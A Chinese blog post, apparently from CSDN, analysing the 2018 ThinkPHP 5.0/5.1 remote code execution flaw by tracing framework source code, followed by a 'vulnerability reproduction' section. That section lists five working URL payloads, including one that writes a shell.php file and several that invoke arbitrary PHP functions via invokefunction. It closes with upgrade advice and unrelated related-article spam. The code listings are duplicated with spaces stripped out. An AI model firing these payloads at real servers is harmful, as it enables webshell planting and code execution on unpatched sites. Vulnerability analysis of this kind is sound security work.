引言

ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架。

本次ThinkPHP5.x漏洞爆出时间大约是2018-9月,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站;直到2018-10-8号左右才被广泛传开,杀伤力太大,无条件执行代码,我的几个项目也紧急的升级,有惊无险。

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

漏洞分析我是第一时间在T00ls上看的,现在已经全网到处都是了。

漏洞分析

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

漏洞点在Module.php,先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。

public function init()

{

parent::init();

$result = $this->dispatch;

.........................

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

$this->controller = $convert ? strtolower($controller) : $controller;

// 获取操作名

$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

// 设置当前请求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller, 1))

->setAction($this->actionName);

return $this;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

publicfunctioninit()

{

parent::init();

$result=$this->dispatch;

.........................

$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));

$this->controller=$convert?strtolower($controller):$controller;

// 获取操作名

$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));

// 设置当前请求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller,1))

->setAction($this->actionName);

return$this;

}

先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。

public function exec()

{

// 监听module_init

$this->app['hook']->listen('module_init');

try {

// 实例化控制器

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

} catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {

// 获取当前操作名

$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {

// 执行操作方法

$call = [$instance, $action];

// 严格获取当前操作方法名

$reflect = new ReflectionMethod($instance, $action);

$methodName = $reflect->getName();

$suffix = $this->rule->getConfig('action_suffix');

$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

$this->request->setAction($actionName);

// 自动获取请求变量

$vars = $this->rule->getConfig('url_param_type')

? $this->request->route()

: $this->request->param();

} elseif (is_callable([$instance, '_empty'])) {

// 空操作

$call = [$instance, '_empty'];

$vars = [$this->actionName];

$reflect = new ReflectionMethod($instance, '_empty');

} else {

// 操作不存在

throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);

});

return $this->app['middleware']->dispatch($this->request, 'controller');

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

publicfunctionexec()

{

// 监听module_init

$this->app['hook']->listen('module_init');

try{

// 实例化控制器

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

}catch(ClassNotFoundException$e){

thrownewHttpException(404,'controller not exists:'.$e->getClass());

}

$this->app['middleware']->controller(function(Request$request,$next)use($instance){

// 获取当前操作名

$action=$this->actionName.$this->rule->getConfig('action_suffix');

if(is_callable([$instance,$action])){

// 执行操作方法

$call=[$instance,$action];

// 严格获取当前操作方法名

$reflect=newReflectionMethod($instance,$action);

$methodName=$reflect->getName();

$suffix=$this->rule->getConfig('action_suffix');

$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;

$this->request->setAction($actionName);

// 自动获取请求变量

$vars=$this->rule->getConfig('url_param_type')

?$this->request->route()

:$this->request->param();

}elseif(is_callable([$instance,'_empty'])){

// 空操作

$call=[$instance,'_empty'];

$vars=[$this->actionName];

$reflect=newReflectionMethod($instance,'_empty');

}else{

// 操作不存在

thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');

}

$this->app['hook']->listen('action_begin',$call);

$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);

return$this->autoResponse($data);

});

return$this->app['middleware']->dispatch($this->request,'controller');

}

在$this->app->controller中将$this->controller进行实例化,跟进$this->app->controller。

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return $this->__get($class);

} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {

return $this->__get($emptyClass);

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')

{

list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);

if(class_exists($class)){

return$this->__get($class);

}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){

return$this->__get($emptyClass);

}

thrownewClassNotFoundException('class not exists:'.$class,$class);

}

$this->parseModuleAndClass对传入的controller进行解析,返回解析出来的class以及module。可以看到如果$name以\开头就将name直接作为class,再返回到controller函数中将$class实例化成object对象,返回给exec函数中的$instance。

protected function parseModuleAndClass($name, $layer, $appendSuffix)

{

if (false !== strpos($name, '\\')) {

$class = $name;

$module = $this->request->module();

} else {

if (strpos($name, '/')) {

list($module, $name) = explode('/', $name, 2);

} else {

$module = $this->request->module();

}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);

}

return [$module, $class];

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)

{

if(false!==strpos($name,'\\')){

$class=$name;

$module=$this->request->module();

}else{

if(strpos($name,'/')){

list($module,$name)=explode('/',$name,2);

}else{

$module=$this->request->module();

}

$class=$this->parseClass($module,$layer,$name,$appendSuffix);

}

return[$module,$class];

}

最后就是调用invokeArgs进行反射调用类中的方法了。

有了任意调用类的方法,我们就只需要找一下可以从那些类进行触发,主要看看\thinkphp\library\think\App.php中的,invokeFunction。

ThinkPHP 5.0.x漏洞invokeFunction

public static function invokeFunction($function, $vars = [])

{

$reflect = new \ReflectionFunction($function);

$args = self::bindParams($reflect, $vars);

// 记录执行信息

self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);

}

1

2

3

4

5

6

7

8

9

10

publicstaticfunctioninvokeFunction($function,$vars=[])

{

$reflect=new\ReflectionFunction($function);

$args=self::bindParams($reflect,$vars);

// 记录执行信息

self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');

return$reflect->invokeArgs($args);

}

ThinkPHP 5.1.x漏洞invokeFunction

public function invokeFunction($function, $vars = [])

{

try {

$reflect = new ReflectionFunction($function);

$args = $this->bindParams($reflect, $vars);

return call_user_func_array($function, $args);

} catch (ReflectionException $e) {

throw new Exception('function not exists: ' . $function . '()');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

publicfunctioninvokeFunction($function,$vars=[])

{

try{

$reflect=newReflectionFunction($function);

$args=$this->bindParams($reflect,$vars);

returncall_user_func_array($function,$args);

}catch(ReflectionException$e){

thrownewException('function not exists: '.$function.'()');

}

}

都是对传入的$function以及$var进行动态调用,直接传入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。

漏洞复现

payload如下:

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中写入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

1

2

3

4

5

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中写入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

直接访问即可任意代码执行。

漏洞防御

升级到Thinkphp最新版本,包括自动升级最新内核版本和手动升级方法,具体看官方:https://blog.thinkphp.cn/869075 。

php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析相关推荐

  1. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  2. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. Thinkphp V5.X 远程代码执行漏洞 - POC(精:集群5.0*、5.1*、5.2*)

    thinkphp-RCE-POC 官方公告: 1.https://blog.thinkphp.cn/869075 2.https://blog.thinkphp.cn/910675 POC: 批量检测 ...

  4. php/5.2.17漏洞,【漏洞预警】ThinkPHP5远程代码执行漏洞

    2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代 ...

  5. android fastjson漏洞_【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)

    Fastjson简介 Fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Jav ...

  6. thinkphp v5.0.11漏洞_Thinkphp 5.0远程代码执行漏洞

    0x01 简叙本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版 ...

  7. rmi远程代码执行漏洞_【最新漏洞简讯】WebLogic远程代码执行漏洞 (CVE202014645)

    ↑ 点击上方"SecMind安全管家"关注我们 情报编号:W1120200715 漏洞概述 WebLogic是Oracle公司出品的用于开发.集成.部署和管理大型分布式Web应用. ...

  8. rmi远程代码执行漏洞_Apache Solr反序列化远程代码执行漏洞分析(CVE20190192)

    更多全球网络安全资讯尽在邑安全 www.eansec.com ‍‍‍‍ 0x01 漏洞描述 Solr 是Apache软件基金会开源的搜索引擎框架,其中定义的ConfigAPI允许设置任意的jmx.se ...

  9. 安全漏洞:Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

    阿里云漏洞库 (aliyun.com) 漏洞介绍 解决建议 1.排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响.同时为了避免在 ...

最新文章

  1. access order by 判断是否除数为0
  2. editplus的配置和使用
  3. 用python画猪_用python画小猪票佩奇
  4. 西安电子科技大学第16届程序设计竞赛 E题
  5. 前端学习(1302):实现es6的转化
  6. Team Foundation Server的回滚操作
  7. mysql存储过程中as_mysql - 存储过程mySQL语法错误意外“ AS” - 堆栈内存溢出
  8. python数据清洗代码_8段用于数据清洗Python代码(小结)
  9. python中tolist_python 列表,数组,矩阵两两转换tolist()的实例
  10. JetBrains GoLand 2018.3.5
  11. 学习springBoot(8)RabbitMQ
  12. ansible 第二次练习
  13. Threejs javascript 3D建模 框架
  14. php怎样注释代码块,vscode怎样注释方法代码块
  15. 190430每日一句
  16. 概率论与环境数理统计 20210222
  17. 哈理工OJ 1926 函数式计算
  18. 补单平台哪个靠谱 天猫补单哪个安全
  19. 23考研计算机:天津理工大学
  20. php汉字占几个字节,php一个汉字几个字节

热门文章

  1. zhihu 知乎社区里点击了Ctrl + C组合键的技术实现
  2. 如何在SAP云平台ABAP编程环境里把CDS view暴露成OData服务
  3. nodejs TCP服务器和客户端通信的socket结构
  4. 在Ubuntu上安装SAP Cloud Connector的一些错误
  5. 使用GraphQL的subscription订阅服务器的通知
  6. Opportunity text creation tool
  7. Java Spring源代码学习之How is class annotation evaluated by Spring framework
  8. SAP传统电商解决方案的技术挑战以及SAP的应对措施
  9. oracle system表空间扩容,Oracle 11g system表空间快速增长解决
  10. 使用C语言写一个扫雷小游戏